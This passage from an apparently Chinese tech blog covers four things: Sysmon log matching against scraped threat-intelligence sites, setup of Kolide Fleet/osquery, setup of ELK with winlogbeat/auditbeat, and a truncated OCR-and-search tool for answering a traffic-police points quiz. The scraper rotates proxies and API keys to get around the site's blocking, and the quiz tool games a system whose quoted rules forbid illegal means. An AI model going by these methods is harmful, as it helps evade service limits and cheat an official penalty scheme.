        if name in ["ParentCommandLine","CommandLine","Image","ParentImage"]:
            result = check_rule(event_data[name])
            if len(result)>0:
                print name,event_data[name],json.dumps(result)

网络地址匹配主要是根据event_id为3的网络进程来实现的。这里弄了好久,只能用一个受限制的地址来实现

class Venuseye(object):
    def __init__(self,ip):
        self._ip = ip
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': 'https://www.venuseye.com.cn/ip/',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
        }

    def get_ip_res(self):
        item = {}
        url = "https://www.venuseye.com.cn/ve/ip"
        data = "target="+str(self._ip)
        try:
            resp = requests.post(url,data=data,headers=self._headers,timeout=30,verify=False)
            if resp.status_code !=200:
                return item
            content = json.loads(resp.content)
            print json.dumps(content['data'])
        except Exception as why:
            print "error",why
            traceback.print_exc()

实际测试并发量高了以后,直接就被拦截了。真特么难受,所有还需要一个代理池来维持访问结果。

appKeys = [apikeys
]

def general(appKey):
    flag = False
    ip_port = 'someprooxys'
    proxy = {"http": "http://" + ip_port, "https": "https://" + ip_port}
    headers = {"Authorization": 'Basic '+ appKey}
    try:
        r = requests.get("http://pv.sohu.com/cityjson?ie=utf-8", headers=headers, proxies=proxy,verify=False,allow_redirects=False,timeout=30)
        if r.status_code == 200:
            ip_str = re.findall(r'\{[\s\S]+\}',r.content.decode('utf-8'))
            if len(ip_str)>0:
                flag = appKey
                return flag
    except Exception as e:
        traceback.print_exc()
        print(str(e),appKey)
        return flag

class Ti_360(object):

    def __init__(self,hashes):
        self._hash = hashes
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest'
        }
        self.proxy = {"http": "http://someprooxys", "https": "https://someprooxys"}


    def get_proxy(self):
        import random
        appkey = False
        appKey = random.choice(appKeys)
        appkey = general(appKey)
        if not appkey:
            appkey = general(appKey)
        return appkey

    def get_filehash(self):
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=file&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=file&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return
            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "table" in str(content1['data'][xfile]):
                    if len(content1['data'][xfile]['table'])>0:
                        tables = content1['data'][xfile]['table'][0]
                        return json.dumps(tables)

        except Exception as why:
            print "error",why
            traceback.print_exc()

    def get_ipioc(self):
        item = {}
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=ip&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=ip&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return

            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "ip_attribute" in xfile:
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                item[name] = content1['data'][xfile]['table'][name]
                elif "ip_ioc_detect" in xfile:
                    ioctag = []
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                ioctag.extend(name['tags'])
                    if len(list(set(ioctag)))>0:
                        item['ioctag'] = list(set(ioctag))
                elif "ip_tag" in xfile:
                    iptag = set()
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                try:
                                    iptag.add(str(name['platform'])+" "+str(name['type'])+" "+ str(name['tag']))
                                except:
                                    try:
                                        iptag.add(str(name['type'])+" "+ str(name['tag']))
                                    except:
                                        iptag.add(str(name['tag']))

                    if len(list(iptag))>0:
                        item['iptag'] = list(iptag)
                elif "ip_try_connect" in xfile:
                    ipconnect = set()
                    if "table" in str(content1['data'][xfile]):
                        for name in content1['data'][xfile]['table']:
                            try:
                                ipconnect.add(str(name['malicious_family']+" " + str(name['malicious_type'])))
                            except:
                                try:
                                    ipconnect.add(str(name['malicious_family']))
                                except Exception as e:
                                    ipconnect.add(str(name['malicious_type']))
                    if len(list(ipconnect))>0:
                        item['iptry'] = list(ipconnect)
            if len(item)>0:
                item['ipaddr'] = self._hash
            return json.dumps(item)
        except Exception as why:
            print "error",why
            traceback.print_exc()

测试效果如下

[{"is_proxy": false, "whitelist": "1", "ipaddr": "52.4.209.250", "user_type": "\u5883\u5916IDC", "ioctag": ["SUPPOBOX", "WWW.DSHIELD.ORG", "BOTNET", "REV 3807", "C&C", "MALICIOUS", "TROJAN-ACTIVITY", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=IPBLOCKLIST", "DDOS", "DDOS TARGET", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=BADIPS"], "proxy_type": "", "location": "\u7f8e\u56fd/\u5f17\u5409\u5c3c\u4e9a\u5dde/\u963f\u4ec0\u672c", "iptag": ["RTF", "Windows \u8fdc\u63a7\u6728\u9a6c SUPPOBOX", "RANSOMWARE", "Windows \u8fdc\u63a7\u6728\u9a6c RANBYUS", "Windows \u8fdc\u63a7\u6728\u9a6c TINBA", "Windows \u8fdc\u63a7\u6728\u9a6c RAMDO", "LOCKY", "Windows \u8fdc\u63a7\u6728\u9a6c RAMNIT"], "asn": "AS14618 Amazon.com, Inc.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "185.198.59.121", "user_type": "\u5883\u5916IDC", "ioctag": ["C2", "DDOS", "MALICIOUS"], "proxy_type": "", "location": "\u7f57\u9a6c\u5c3c\u4e9a/\u5e03\u52a0\u52d2\u65af\u7279", "iptag": ["Windows \u7a83\u5bc6\u6728\u9a6c FORMBOOK", "CVE-2017-11882"], "asn": "AS60117 Host Sailor Ltd.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "23.236.76.75", "user_type": "\u5883\u5916IDC", "asn": "AS134835 Starry Network Limited", "location": "\u7f8e\u56fd/\u52a0\u5229\u798f\u5c3c\u4e9a\u5dde/\u6d1b\u6749\u77f6", "ioctag": ["DDOS", "MALICIOUS"], "proxy_type": "", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "91.229.79.184", "user_type": "\u5883\u5916IDC", "asn": "AS42331 PE Freehost", "location": "\u4e4c\u514b\u5170/\u57fa\u8f85", "iptag": ["PATCHWORK", "DROPPING ELEPHANT", "APT"], "proxy_type": "", "is_idc": true}]


这里还需要增加一个机制,一旦匹配失败需要标记重新匹配。不然一旦访问出错就没有办法匹配到了

demo的结果如下.

后续想着对全部数据进行入库展示,利用mongodb或者mysql来作为后端数据库支持。前端利用flask或者tornado 来展示。

PS:后面改进了,利用loki的IOC来识别了

Kolide Fleet osquery体验

发布时间:December 17, 2018 // 分类:工作日志,开发笔记,运维工作,linux,windows // No Comments

fleet Osquery体验

Kolide Fleet是为安全专家量身打造的最先进的主机监控平台。利用Facebook久经考验的osquery项目,Kolide能够快速回答重大问题。要了解更多关于Kolide Fleet的信息,请访问https://kolide.com/fleet 【都是xxx翻译的】说的直白一点就是一个信息汇聚实时查询系统

0x00.fleet准备

根据官方的提示,可以自行安装golang环境或者使用官方提供的编译好的程序。这里主要是为了方便,解决一些依赖问题啥的。直接利用官方提供的编译好的二进程程序。

$ wget https://dl.kolide.co/bin/fleet_latest.zip
$ unzip fleet_latest.zip 'linux/*' -d fleet
$ sudo cp fleet/linux/fleet* /usr/bin/

由于fleet依赖于mysql以及redis,所以需要安装mysql和redis
要安装MySQL服务器文件,请运行以下命令

$ wget https://repo.mysql.com/mysql57-community-release-el7.rpm
$ sudo rpm -i mysql57-community-release-el7.rpm
$ sudo yum update
$ sudo yum install mysql-server

要启动MySQL服务:

$ sudo systemctl start mysqld

假如我们需要对数据库进行增删改操作,需要修改默认的数据库密码。安装的时候自动生成的数据库密码在/var/log/mysqld.log中。连接mysql并更改密码后需要重新启动mysql服务

mysql> ALTER USER "root"@"localhost" IDENTIFIED BY "toor?Fl33t";
mysql> flush privileges;
mysql> exit

停止MySQL并重新开始

$ sudo mysqld stop  
$ sudo systemctl start mysqld

然后创建一个数据库给fleet使用。

$ echo 'CREATE DATABASE kolide;' | mysql -u root -p

要安装Redis服务器文件,请运行以下命令:

$ wget http://download.redis.io/redis-stable.tar.gz
$ tar zxf redis-stable.tar.gz
$ cd redis-stable
$ make 
$ make install
$ cp redis.conf /etc/redis.conf
$ redis-server /etc/redis.conf

0x01.fleet安装配置

现在我们已经安装了Fleet,MySQL和Redis,在运行fleet之前需要对数据进行初始化

$ /usr/bin/fleet prepare db \
    --mysql_address=127.0.0.1:3306 \
    --mysql_database=kolide \
    --mysql_username=root \
    --mysql_password=toor?Fl33t

如果没有错误的话,会提示初始化完成Migrations completed.
在我们运行服务器之前,我们需要生成一些TLS密钥材料。如果您已经拥有生成有效TLS证书的工具,那么建议您使用它。您将需要TLS证书和密钥来运行Fleet服务器。如果您想生成自签名证书,可以通过以下方式执行此操作:

$ openssl genrsa -out /tmp/server.key 4096
$ openssl req -new -key /tmp/server.key -out /tmp/server.csr
$ openssl x509 -req -days 366 -in /tmp/server.csr -signkey /tmp/server.key -out /tmp/server.cert

通过如下的命令启动fleet

$ /usr/bin/fleet serve \
  --mysql_address=127.0.0.1:3306 \
  --mysql_database=kolide \
  --mysql_username=root \
  --mysql_password=toor?Fl33t \
  --redis_address=127.0.0.1:6379 \
  --server_cert=/tmp/server.cert \
  --server_key=/tmp/server.key \
  --logging_json \
  --auth_jwt_key h8IMf9Y7R5YxSS0bN6tsLV8aNehn/qHX

如果不加auth_jwt_key好像不能运行,程序会打印出一个随机码,如果加auth_jwt_key运行后程序提示在808端口上运行成功。然后访问https://ip:8080 输入一些配置信息就可以成功到界面

0x02.Osquery安装配置

Osquery的安装根据官方提供的下载地址进行安装。也可以根据fleet程序提供的安装说明进行安装.

需要对Osquery配置的就两个地方,一个是fleet的证书【tls_server_certs】和密钥【enroll_secret_path】。来源是添加主机的时候的两个地方

--enroll_secret_path=/opt/osquery/secret.pem
--tls_hostname=fleet的地址,省去https://
--tls_server_certs=/opt/osquery/fleet.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10


启动的时候以命令

$ osqueryd --flagfile=/opt/osquery/osquery.flag


运行成功后在fleet会看到相关的主机连接信息

windows也是通过相同的配置连接到fleet

--enroll_secret_path=c:\ProgramData\osquery\certs\certs.pem
--tls_hostname=192.168.87.232:8080
--tls_server_certs=c:\ProgramData\osquery\certs\192.168.87.232_8080.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10

0x03.fleet使用

fleet就很简单,类似一个在线的osqueryi

SELECT p.pid, name, p.path as process_path, pf.path as open_path FROM osquery_info i JOIN processes p ON p.pid = i.pid JOIN process_open_files pf ON pf.pid = p.pid  WHERE pf.path LIKE '/dev/%';

利用beat对系统进行监控

发布时间:December 10, 2018 // 分类:运维工作,开发笔记,linux,windows,生活琐事 // No Comments

主要是利用winlogbeat和auditbeat进行监控

关于安装elk.自行更新到最新版本

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

1.windows系统

暂时针对的是win7及其以上的系统才方便使用,主要的是方便升级powershell。有点奇葩的是需要系统是正版,如果不是请自行激活。相关的记录参照针对windows下命令记录的种种

这里的监控主要是开启了各种命令执行记录放进事件文件中,然后利用winlogbeat对相关文件进行监控。然后安装Winlogbeat服务

PS C:\Users\Administrator> cd 'C:\Program Files\Winlogbeat'
PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1

Security warning
Run only scripts that you trust. While scripts from the internet can be useful,
this script can potentially harm your computer. If you trust this script, use
the Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run C:\Program Files\Winlogbeat\install-service-winlogbeat.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

Status   Name               DisplayName
------   ----               -----------
Stopped  winlogbeat         winlogbeat

相关的配置文件winlogbeat.yml

###################### Winlogbeat Configuration Example ##########################

# This file is an example configuration file highlighting only the most common
# options. The winlogbeat.full.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/winlogbeat/index.html

#======================= Winlogbeat specific options ==========================

# event_logs specifies a list of event logs to monitor as well as any
# accompanying options. The YAML data type of event_logs is a list of
# dictionaries.
#
# The supported keys are name (required), tags, fields, fields_under_root,
# forwarded, ignore_older, level, event_id, provider, and include_xml. Please
# visit the documentation for the complete details of each option.
# https://go.es.io/WinlogbeatConfig

winlogbeat.event_logs:
  - name: Application
    ignore_older: 72h
    fields:
      log_type: windowsevt
  - name: Security
    fields:
      log_type: windowsevt
  - name: System
    fields:
      log_type: windowsevt
  - name: Windows PowerShell
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-PowerShell/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-WMI-Activity/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-Sysmon/Operational
    fields:
      log_type: windowsevt 
#================================ General =====================================

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# The tags of the shipper are included in their own field with each
# transaction published.
#tags: ["service-X", "web-tier"]

# Optional fields that you can specify to add additional information to the
# output.
#fields:
#  env: staging

#================================ Outputs =====================================

# Configure what outputs to use when sending the data collected by the beat.
# Multiple outputs may be used.

#-------------------------- Elasticsearch output ------------------------------
# output.elasticsearch:
#   # Array of hosts to connect to.

  # Optional protocol and basic auth credentials.
  # protocol: "http"
#----------------------------- Logstash output --------------------------------
output.logstash:
  #The Logstash hosts
  hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

#================================ Logging =====================================
# Sets log level. The default log level is info.
# Available log levels are: critical, error, warning, info, debug
#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use ["*"]. Examples of other selectors are "beat",
# "publish", "service".
#logging.selectors: ["*"]
logging.to_files: true
logging.files: 
  path: C:/ProgramData/winlogbeat/Logs
logging.level: info

再启动winlogbeat服务

net start winlogbeat

需要修改output.logstash:中的host为相关安装elk的机器。同时该机器的logstash的配置如下

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}

filter {

if ([fields][log_type] == "windowsevt") {

mutate {
 add_field => { "[orig_message]" => "%{message}" }
 }

#substitute some fields
 mutate {
 gsub => [
 "message", "\r\n", " ",
 "message", "\n", " " 
 ] 
 }

#Filter the message field of events 403 and 400
 if ([event_id] == 403 or [event_id] == 400) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*NewEngineState\s*=\s*%{GREEDYDATA:[event_data][details][newenginewtate]}\s*PreviousEngineState\s*=\s*%{GREEDYDATA:[event_data][details][previousengineState]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }
 #Filter the message field of event 600
 if ([event_id] == 600) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*ProviderName\s*=\s*%{GREEDYDATA:[event_data][details][providername]}\s*NewProviderState\s*=\s*%{GREEDYDATA:[event_data][details][newproviderstate]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }

#standartize the IP address field
 if ([event_data][IPString]) {
 mutate {
 rename => { "[event_data][IPString]" => "[remote_ip]" }
 }
 }

#standartize the IP address field
 if ([event_data][ClientAddress]) {
 mutate {
 rename => { "[event_data][ClientAddress]" => "[remote_ip]" }
 }
 }
 #standartize the IP address field
 if ([event_data][IpAddress]) {
 grok {
 match => { "[event_data][IpAddress]" => "%{IPV4:[remote_ip]}" }
 }

}

#Split Remote IP and Port 
 if ([event_data][ClientIP]) {
 mutate {
 split => ["[event_data][ClientIP]" , ":"]
 add_field => { "[remote_ip]" => "%{[event_data][ClientIP][0]}" }
 add_field => { "[port]" => "%{[event_data][ClientIP][1]}" }
 remove_field => [ "[event_data][ClientIP]" ]
 }
 }

#add GeoIP
 geoip {
 source => "[remote_ip]]"
 target => "[geoip]"
 }
}
}

output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "windowsevt-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

当然也可以精简为

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

启动logstash

./bin/logstash -f config/conf.d/winevtx.conf

同时该机器需要打开防火墙开放5044端口给相关的机器。到kibana新建索引

测试执行wmi


非常规应用

缺点也是非常明显,一旦停止了sysmon和winlogbeat,就无法继续采集到信息了。

2.linux系统

开始准备使用Audit来实现,后来发现elastic发现一个神奇的玩意Auditbeat。发现网上大多数都是直接写入es或者kibana。直接写入logstash的好像很少。记录一下

https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-6.5.2-x86_64.rpm
rpm -ivh auditbeat-6.5.2-x86_64.rpm
sudo chkconfig --add auditbeat
#修改/etc/auditbeat/auditbeat.yml
mv /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_bak
wget http://0cx.cc/ps/auditbeat.yml -O /etc/auditbeat/auditbeat.yml

值得需要修改的地方

- module: file_integrity
  paths:

如果需要新增监控的目录就继续写 - path。这里的path需要的是绝对路径,另外一个地方是output.logstash。修改为自己elk的机器。集合之前写的bash执行命令监控,可以持续监控。保存后重启auditbeat

service auditbeat restart

logstash建立监控配置

vim auditbeat.conf
input {
  beats {
    port => 5045
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

同样的在主机上修改防火墙打开对应的5045端口。然后在kibana新建索引即可。但是这里有个坑爹的地方,需要在相关的机器上修改对应的机器名.linux默认机器名都是localhost.localdomain

缺点也是非常明显,一旦停止了auditbeat服务以后就gg了,还有就是SYSMON会在某个时候突然占用大量的CPU.这个问题不是很好解决

参考

https://github.com/margusmaki/ELK
https://raw.githubusercontent.com/Mosuan/AuditdPy/master/docs/rule.txt

关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:工作日志,开发笔记,代码学习,linux,python,生活琐事 // 2 Comments

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

